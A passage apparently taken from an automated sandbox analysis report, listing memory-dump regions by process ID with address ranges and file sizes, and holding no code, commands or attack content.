                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4820-162-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          572KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4820-164-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          100KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4912-146-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4912-364-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4912-420-0x0000000005390000-0x0000000005936000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          5.6MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4924-170-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4992-205-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4992-242-0x0000000140000000-0x0000000140650000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          6.3MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5008-547-0x0000000005E30000-0x0000000005E31000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5008-372-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5012-180-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5020-505-0x0000000002310000-0x00000000023E4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          848KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5020-373-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5068-302-0x0000000000720000-0x0000000000729000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          36KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5068-214-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5132-247-0x0000000004E30000-0x0000000004E31000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5132-260-0x00000000053F0000-0x00000000053F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5132-231-0x0000000000340000-0x0000000000341000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5132-246-0x0000000004C30000-0x0000000004C31000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5132-217-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5144-218-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5236-227-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5236-245-0x0000000002100000-0x0000000002101000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5280-521-0x0000000005590000-0x0000000005591000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5280-366-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5300-314-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5300-337-0x0000000000E50000-0x0000000000E51000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5300-319-0x0000000000780000-0x0000000000781000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5300-353-0x0000000000E70000-0x0000000000E72000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5308-450-0x0000000005740000-0x0000000005D58000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          6.1MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5308-363-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5576-254-0x00000000002A0000-0x00000000002A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5576-250-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5576-438-0x000000001C700000-0x000000001C702000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5632-255-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5632-278-0x000000001B580000-0x000000001B582000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5632-262-0x0000000000AB0000-0x0000000000AB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5660-279-0x0000000000AA0000-0x0000000000AA2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5660-257-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5732-312-0x0000000005DC0000-0x0000000005DC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5732-351-0x0000000003200000-0x0000000003201000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5732-303-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          136KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5732-301-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5732-338-0x00000000059C0000-0x00000000059C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5784-417-0x0000000000820000-0x0000000000823000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          12KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5796-271-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5796-283-0x000000001B2A0000-0x000000001B2A2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5796-276-0x00000000006B0000-0x00000000006B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5824-309-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5824-331-0x00000000050A0000-0x00000000050A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5824-347-0x0000000004FE0000-0x00000000055F8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          6.1MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5824-333-0x00000000051D0000-0x00000000051D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5824-311-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          136KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5852-432-0x000000007F970000-0x000000007FD41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          3.8MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5852-526-0x00000000067E0000-0x0000000006DF8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          6.1MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5852-370-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5856-368-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5888-361-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5888-616-0x00000000009C0000-0x00000000009F0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          192KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5928-356-0x0000000002FB0000-0x0000000002FDF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          188KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5928-281-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5944-365-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5944-447-0x0000000005150000-0x0000000005768000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          6.1MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5964-563-0x0000000005F20000-0x0000000005F21000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5964-362-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5968-597-0x0000000000530000-0x0000000000560000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          192KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5968-359-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5976-367-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5976-486-0x0000000002440000-0x00000000024D0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          576KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6028-304-0x0000000005410000-0x0000000005696000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          2.5MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6028-292-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6028-295-0x00000000053A0000-0x00000000053A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6028-289-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6032-369-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6032-390-0x0000000000720000-0x0000000000E5D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          7.2MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6032-478-0x0000000000720000-0x0000000000E5D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          7.2MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6032-474-0x0000000000720000-0x0000000000E5D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          7.2MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6064-371-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6088-465-0x0000000001610000-0x0000000001620000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          64KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6088-497-0x0000000001630000-0x0000000001642000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          72KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6100-360-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6116-294-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6132-355-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6156-378-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6168-379-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6168-455-0x0000000005870000-0x0000000005871000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6188-381-0x0000000000000000-mapping.dmp

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6348-395-0x0000000002310000-0x0000000002311000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6356-553-0x0000000000500000-0x0000000000509000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          36KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6392-428-0x0000000005CF0000-0x0000000005F76000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          2.5MB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6468-458-0x0000000005490000-0x0000000005506000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          472KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/6576-630-0x0000000004C10000-0x0000000004C11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                        • memory/7004-423-0x000000001B240000-0x000000001B242000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                          8KB